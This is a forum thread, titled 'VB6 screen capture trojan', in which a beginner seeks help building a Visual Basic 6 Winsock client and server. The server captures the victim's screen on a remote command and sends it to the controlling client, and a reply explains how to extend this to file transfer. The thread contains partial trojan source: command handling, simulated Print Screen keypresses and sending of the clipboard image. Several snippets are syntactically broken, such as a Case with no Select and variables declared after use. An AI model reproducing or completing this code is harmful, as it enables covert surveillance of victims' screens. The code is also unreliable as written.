VB6 screen capture trojan
Hello,
I am very new to VB6 and would appreciate some hints with this program so I can start researching further.
On the server I can get a picture of the screen and display it in a picture box.
The question is:
-How would I use Winsock1.SendData to get the picture to the client. -How would I get the client to trigger the server to take the screen shot.
Cheers anyone
Ok cheers for the answer.
"Just make the client send a command so the server executes the screen capture code"
Would that be somthing like: Client: Private Sub command5_click() Dim data As String data = "screen" Winsock1.SendData data End Sub
Server: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Winsock1.GetData Data, vbString, bytesTotal List1.AddItem (Data)
On Error Resume Next
Dim Data As String
Case "screen"
' SCREEN CAPTURE STUFF
Clipboard.Clear
' send a print screen button keypress event
' and DoEvents to allow windows time to process
' the event and capture the image to the clipboard
keybd_event vbKeySnapshot, 0, 0, 0
DoEvents
' send a print screen button up event
keybd_event vbKeySnapshot, 0, &H2, 0
DoEvents
DoEvents
' send clipboard contents to client
Winsock1.SendData Clipboard.GetData(vbCFBitmap)
DoEvents
DoEvents
End Select End Sub
Cheers
Making progress - I have been able to issue remote commands.
Now I need to issue a command that triggers the sending of a file to the client.
Is this any where near: Client: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Winsock1.GetData Clipboard screenCapture.Picture = Clipboard End Sub
Do I need to specify the data type or anything else.
Server ' paste the clipboard contents into the picture box screenCapture.Picture = Clipboard.GetData(vbCFBitmap) ' send clipboard contents Winsock1.SendData Clipboard DoEvents DoEvents DoEvents Thank you
I tried that same thing but it didn't work for me. I'm no expert in VB but I think what you would have to do is save the screen to a file. Then open that file in Binary mode. Then transfer the file while in Binary mode. I know I am really bad at explaining things so here is how I learnt to send files in winsock http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=59653&lngWId=1